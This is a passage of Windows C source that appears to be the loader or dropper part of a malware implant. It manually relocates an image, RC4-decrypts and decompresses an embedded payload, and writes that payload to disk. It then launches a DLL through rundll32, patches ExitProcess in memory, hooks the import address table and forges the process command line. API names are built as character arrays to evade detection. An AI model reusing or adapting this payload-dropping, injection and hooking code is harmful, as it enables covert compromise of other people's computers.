LPBYTE lpPtr = CALC_OFFSET(LPBYTE, pModule, dwRelocAddr); while(dwRelocSize > 0) { base_relocation_block_t block; _MEMCPY_(&block, lpPtr, sizeof(base_relocation_block_t)); dwRelocSize -= block.BlockSize; lpPtr += sizeof(base_relocation_block_t); block.BlockSize -= 8; while(block.BlockSize) { base_relocation_entry_t entry; _MEMCPY_(&entry, lpPtr, sizeof(WORD)); LPDWORD ptrOffset = CALC_OFFSET(LPDWORD, pModule, block.PageRVA + entry.offset); DWORD dwOldValue = *ptrOffset; DWORD dwNewValue = dwOldValue - pImageNtHeader->OptionalHeader.ImageBase + (DWORD) pModule; LPWORD ptrHighOffset = CALC_OFFSET_DISP(LPWORD, pModule, block.PageRVA + entry.offset, 2); LPWORD ptrLowOffset = CALC_OFFSET_DISP(LPWORD, pModule, block.PageRVA + entry.offset, 0); WORD wLowNewOffset = (WORD) ((DWORD) pModule & 0xffff); WORD wHighNewOffset = (WORD) (((DWORD) pModule & 0xffff0000) >> 16); switch(entry.type) { // The base relocation is skipped. This type can be used to pad a block. case IMAGE_REL_BASED_ABSOLUTE: //std::cout << "Unsupported" << std::endl; break; // The base relocation adds the high 16 bits of the difference to the 16-bit field at offset. The 16-bit field represents the high value of a 32-bit word. case IMAGE_REL_BASED_HIGH: //*ptrHighOffset = *ptrHighOffset - wHighNewOffset; break; // The base relocation adds the low 16 bits of the difference to the 16-bit field at offset. The 16-bit field represents the low half of a 32-bit word. case IMAGE_REL_BASED_LOW: break; // The base relocation applies all 32 bits of the difference to the 32-bit field at offset case IMAGE_REL_BASED_HIGHLOW: *ptrOffset = dwNewValue; break; // The base relocation adds the high 16 bits of the difference to the 16bit field at offset. The 16-bit field represents the high value of a 32-bit word. // The low 16 bits of the 32-bit value are stored in the 16-bit word that follows this base relocation. This means that this base relocation occupies two slots. case IMAGE_REL_BASED_HIGHADJ: break; // The base relocation applies the difference to the 64-bit field at offset. case IMAGE_REL_BASED_DIR64: break; } // FIX ENTRY++ lpPtr += sizeof(base_relocation_entry); block.BlockSize -= 2; } } } BOOL WINAPI DumpFile(CHAR * fileName, CHAR* fileData, DWORD dataSize, DWORD originalSize, PMY_DATA pData) { DWORD dwUnpackedSize = 0; PCHAR pPackedBuffer; PCHAR pUnpackedBuffer; pPackedBuffer = (PCHAR)pData->VirtualAlloc(NULL, dataSize, MEM_COMMIT, PAGE_READWRITE); pUnpackedBuffer = (PCHAR)pData->VirtualAlloc(NULL, originalSize, MEM_COMMIT, PAGE_READWRITE); _MEMCPY_(pPackedBuffer, fileData, dataSize); RC4_SKIP pfn_rc4skip = (RC4_SKIP) (((PCHAR)pData->header) + pData->header->functions.rc4.offset); pfn_rc4skip((PBYTE)pData->header->rc4key, RC4KEYLEN, 0, (PBYTE)pPackedBuffer, dataSize, pData); dwUnpackedSize = aP_depack(pPackedBuffer, pUnpackedBuffer); pData->VirtualFree(pPackedBuffer, 0, MEM_RELEASE); if (dwUnpackedSize != originalSize) return FALSE; HANDLE hFile = pData->CreateFileA(fileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) return FALSE; DWORD dwWritten = 0; BOOL bRet = pData->WriteFile(hFile, pUnpackedBuffer, originalSize, &dwWritten, NULL); pData->CloseHandle(hFile); pData->VirtualFree(pUnpackedBuffer, 0, MEM_RELEASE); if (bRet == FALSE) return FALSE; pData->SetFileAttributesA(fileName, FILE_ATTRIBUTE_NORMAL); return TRUE; } FUNCTION_END(DumpFile); DWORD WINAPI CoreThreadProc(__in PMY_DATA pData) { PCHAR pCompletePath = NULL; PCHAR pFunctionName = NULL; LPSTARTUPINFO pStartupInfo = NULL; LPPROCESS_INFORMATION pProcInfo = NULL; CHAR strRunDLL[] = { '%', 's', 'y', 's', 't', 'e', 'm', 'r', 'o', 'o', 't', '%', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'r', 'u', 'n', 'd', 'l', 'l', '3', '2', '.', 'e', 'x', 'e', ' ', '"', 0x0 }; CHAR strComma[] = { '"', ',', 0x0 }; CHAR strHFF5[11]; CHAR strHFF8[11]; _MEMSET_(strHFF5, 0x0, 11); _MEMSET_(strHFF8, 0x0, 11); _MEMCPY_(strHFF5, pData->header->eliteExports, 10); _MEMCPY_(strHFF8, pData->header->eliteExports+11, 10); pCompletePath = (PCHAR)pData->VirtualAlloc(NULL, 32767, MEM_COMMIT, PAGE_READWRITE); _MEMSET_(pCompletePath, 0x0, 32767); _MEMCPY_(pCompletePath, strRunDLL, _STRLEN_(strRunDLL)); _STRCAT_(pCompletePath, pData->header->dllPath); _STRCAT_(pCompletePath, strComma); _STRCAT_(pCompletePath, strHFF8); HMODULE hLib = pData->LoadLibraryA(pData->header->dllPath); if (hLib == INVALID_HANDLE_VALUE) goto THREAD_EXIT; pFunctionName = (PCHAR)pData->VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE); _MEMSET_(pFunctionName, 0x0, 4096); _MEMCPY_(pFunctionName, strHFF5, _STRLEN_(strHFF5)); HFF5 pfn_HFF5 = (HFF5) pData->GetProcAddress(hLib, pFunctionName); if (pfn_HFF5 == NULL) goto THREAD_EXIT; pStartupInfo = (LPSTARTUPINFO) pData->VirtualAlloc(NULL, sizeof(STARTUPINFO), MEM_COMMIT, PAGE_READWRITE); pStartupInfo->cb = sizeof(STARTUPINFO); pProcInfo = (LPPROCESS_INFORMATION) pData->VirtualAlloc(NULL, sizeof(PROCESS_INFORMATION), MEM_COMMIT, PAGE_READWRITE); pfn_HFF5(pCompletePath, NULL, pStartupInfo, pProcInfo); THREAD_EXIT: if (pCompletePath) pData->VirtualFree(pCompletePath, 0, MEM_RELEASE); if (pFunctionName) pData->VirtualFree(pFunctionName, 0, MEM_RELEASE); if (pStartupInfo) pData->VirtualFree(pStartupInfo, 0, MEM_RELEASE); if (pProcInfo) pData->VirtualFree(pProcInfo, 0, MEM_RELEASE); if (pData->header->dllPath) pData->VirtualFree(pData->header->dllPath, 0, MEM_RELEASE); // done. pData->header->synchro = 1; return 0; } FUNCTION_END(CoreThreadProc); VOID WINAPI ExitProcessHook(__in UINT uExitCode) { DWORD dwCurrentAddr = 0; DWORD dwMagic = 0; // Get current EIP in dwCurrentAddr __asm{ call lbl_ref1 lbl_ref1: pop dwCurrentAddr } // *** Find the ending marker of data section while ( dwMagic != 0x003E453C ) dwMagic = (DWORD)(*(DWORD *)(--dwCurrentAddr)); // *** Total size of data section dwCurrentAddr -= sizeof(DWORD); DWORD dwDataSize = (DWORD)(*(DWORD*)(dwCurrentAddr)); // *** Pointer to data section header DataSectionHeader *header = (DataSectionHeader*) (dwCurrentAddr - dwDataSize); LOADLIBRARY pfn_LoadLibrary = resolveLoadLibrary(); GETPROCADDRESS pfn_GetProcAddress = resolveGetProcAddress(); char strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 }; char strSleep[] = { 'S', 'l', 'e', 'e', 'p', 0x0 }; char strExitProcess[] = { 'E', 'x', 'i', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 0x0 }; CHAR strVirtualProtect[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0x0 }; CHAR strVirtualQuery[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'Q', 'u', 'e', 'r', 'y', 0x0 }; VIRTUALPROTECT pfn_VirtualProtect = (VIRTUALPROTECT)pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualProtect); VIRTUALQUERY pfn_VirtualQuery = (VIRTUALQUERY)pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualQuery); HMODULE hMod = pfn_LoadLibrary(strKernel32); SLEEP pfn_Sleep = (SLEEP) pfn_GetProcAddress(hMod, strSleep); EXITPROCESS pfn_ExitProcess = (EXITPROCESS) pfn_GetProcAddress(hMod, strExitProcess); PBYTE pExitProcessAddr = (PBYTE) pfn_ExitProcess; while (header->synchro != 1) pfn_Sleep(100); ULONG uOldProtect; MEMORY_BASIC_INFORMATION mbi; pfn_VirtualQuery((PVOID)pExitProcessAddr, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); pfn_VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &uOldProtect); BYTE pData[] = { 0x8b, 0xc0, 0x55, 0x8b, 0xec }; // so lame. _MEMCPY_(pExitProcessAddr, pData, 5); pfn_VirtualProtect(mbi.BaseAddress, mbi.RegionSize, uOldProtect, &uOldProtect); pfn_ExitProcess(0); } FUNCTION_END(ExitProcessHook); DWORD HookIAT(char* dll, char* name, DWORD hookFunc, UINT_PTR IAT_rva, DWORD imageBase, PMY_DATA pData) { HMODULE modHandle = pData->GetModuleHandle(dll); // check if dll is loaded if(modHandle == NULL) return -1; // function address we're going to hook DWORD needAddress = (DWORD)pData->GetProcAddress(modHandle, name); IMAGE_IMPORT_DESCRIPTOR const * lpImp = (IMAGE_IMPORT_DESCRIPTOR *)((UINT_PTR)imageBase + IAT_rva); while(lpImp->Name) { CHAR* dllName_RO = (CHAR*)((UINT_PTR)imageBase) + lpImp->Name; CHAR* dllName = (CHAR*) pData->VirtualAlloc(NULL, _STRLEN_(dllName_RO) + 1, MEM_COMMIT, PAGE_READWRITE); if(dllName == NULL) return -1; _MEMCPY_(dllName, dllName_RO, _STRLEN_(dllName_RO) + 1); if(!_STRCMPI_(dllName, dll)) { UINT_PTR dwOriginalThunk = (lpImp->OriginalFirstThunk ? lpImp->OriginalFirstThunk : lpImp->FirstThunk); IMAGE_THUNK_DATA const *itd = (IMAGE_THUNK_DATA *)(imageBase + dwOriginalThunk); UINT_PTR dwThunk = lpImp->FirstThunk; IMAGE_IMPORT_BY_NAME const * name_import = (IMAGE_IMPORT_BY_NAME *)(imageBase + itd->u1.AddressOfData); DWORD* ptrToCallAddr = (DWORD*) (imageBase + dwThunk); do { if(needAddress == *ptrToCallAddr) { DWORD oldProtect = 0; MEMORY_BASIC_INFORMATION * mbi = (MEMORY_BASIC_INFORMATION *) pData->VirtualAlloc( NULL, sizeof(MEMORY_BASIC_INFORMATION), MEM_COMMIT, PAGE_READWRITE); pData->VirtualQuery((LPCVOID)ptrToCallAddr, mbi, sizeof(MEMORY_BASIC_INFORMATION)); pData->VirtualProtect(mbi->BaseAddress, mbi->RegionSize, PAGE_EXECUTE_READWRITE, &oldProtect); *ptrToCallAddr = (DWORD) hookFunc; pData->VirtualProtect(mbi->BaseAddress, mbi->RegionSize, oldProtect, NULL); pData->VirtualFree(mbi, 0, MEM_RELEASE); pData->VirtualFree(dllName, 0, MEM_RELEASE); return 0; } ptrToCallAddr++; } while(*ptrToCallAddr != NULL); } pData->VirtualFree(dllName, 0, MEM_RELEASE); lpImp++; } return -1; } FUNCTION_END(HookIAT); LPSTR WINAPI GetCommandLineAHook() { GETPROCADDRESS pfn_GetProcAddress = resolveGetProcAddress(); LOADLIBRARY pfn_LoadLibraryA = resolveLoadLibrary(); CHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 }; CHAR strVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 }; CHAR strGetCommandLineA[] = { 'G', 'e', 't', 'C', 'o', 'm', 'm', 'a', 'n', 'd', 'L', 'i', 'n', 'e', 'A', 0x0 }; VIRTUALALLOC pfn_VirtualAlloc = (VIRTUALALLOC) pfn_GetProcAddress(pfn_LoadLibraryA(strKernel32), strVirtualAlloc); GETCOMMANDLINEA pfn_OriginalGetCommandLineA = (GETCOMMANDLINEA) pfn_GetProcAddress(pfn_LoadLibraryA(strKernel32), strGetCommandLineA); LPSTR OriginalCommandLine = pfn_OriginalGetCommandLineA(); ULONG uLen = _STRLEN_(OriginalCommandLine); LPSTR FakeCommandLine = (LPSTR)pfn_VirtualAlloc(NULL, uLen + 7, MEM_COMMIT, PAGE_READWRITE); _MEMCPY_(FakeCommandLine, OriginalCommandLine, uLen); *(PUSHORT)&FakeCommandLine[uLen] = 0x2f20; // '/ ' *(PULONG)&FakeCommandLine[uLen+2] = 0x4352434e; // 'NCRC' FakeCommandLine[uLen+6] = 0x0; return FakeCommandLine; } FUNCTION_END(GetCommandLineAHook); LPWSTR WINAPI GetCommandLineWHook() { GETPROCADDRESS pfn_GetProcAddress = resolveGetProcAddress(); LOADLIBRARY pfn_LoadLibraryA = resolveLoadLibrary(); CHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 }; CHAR strVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 }; CHAR strGetCommandLineW[] = { 'G', 'e', 't', 'C', 'o', 'm', 'm', 'a', 'n', 'd', 'L', 'i', 'n', 'e', 'W', 0x0 }; VIRTUALALLOC pfn_VirtualAlloc = (VIRTUALALLOC) pfn_GetProcAddress(pfn_LoadLibraryA(strKernel32), strVirtualAlloc); GETCOMMANDLINEW pfn_OriginalGetCommandLineW = (GETCOMMANDLINEW) pfn_GetProcAddress(pfn_LoadLibraryA(strKernel32), strGetCommandLineW); LPWSTR OriginalCommandLine = pfn_OriginalGetCommandLineW(); ULONG uLen = _STRLENW_(OriginalCommandLine); LPWSTR FakeCommandLine = (LPWSTR)pfn_VirtualAlloc(NULL, uLen + 14, MEM_COMMIT, PAGE_READWRITE); _MEMCPY_(FakeCommandLine, OriginalCommandLine, uLen); *(PULONG)&((PBYTE)FakeCommandLine)[uLen] = 0x002f0020; // ' /' *(PULONG)&((PBYTE)FakeCommandLine)[uLen+4] = 0x0043004e; // 'NC' *(PULONG)&((PBYTE)FakeCommandLine)[uLen+8] = 0x00430052; // 'RC' *(PUSHORT)&((PBYTE)FakeCommandLine)[uLen+12] = 0x0000; return FakeCommandLine; } FUNCTION_END(GetCommandLineWHook); void ArcFour( const unsigned char *key, size_t keylen, size_t skip, unsigned char *data, size_t data_len, PMY_DATA pData) { unsigned int i, j, k; unsigned char *pos; size_t kpos; unsigned char *S = (unsigned char*) pData->VirtualAlloc(NULL, 256, MEM_COMMIT, PAGE_READWRITE); /* Setup RC4 state */ for (i = 0; i < 256; i++) S[i] = i; j = 0; kpos = 0; for (i = 0; i < 256; i++) { j = (j + S[i] + key[kpos]) & 0xff; kpos++; if (kpos >= keylen) kpos = 0; S_SWAP(i, j); } /* Skip the start of the stream */ i = j = 0; for (k = 0; k < skip; k++) { i = (i + 1) & 0xff; j = (j + S[i]) & 0xff; S_SWAP(i, j); } /* Apply RC4 to data */ pos = data; for (k = 0; k < data_len; k++) { i = (i + 1) & 0xff; j = (j + S[i]) & 0xff; S_SWAP(i, j); *pos++ ^= S[(S[i] + S[j]) & 0xff]; } pData->VirtualFree(S, 0, MEM_RELEASE); } FUNCTION_END(ArcFour); #pragma code_seg() #pragma optimize( "", on ) .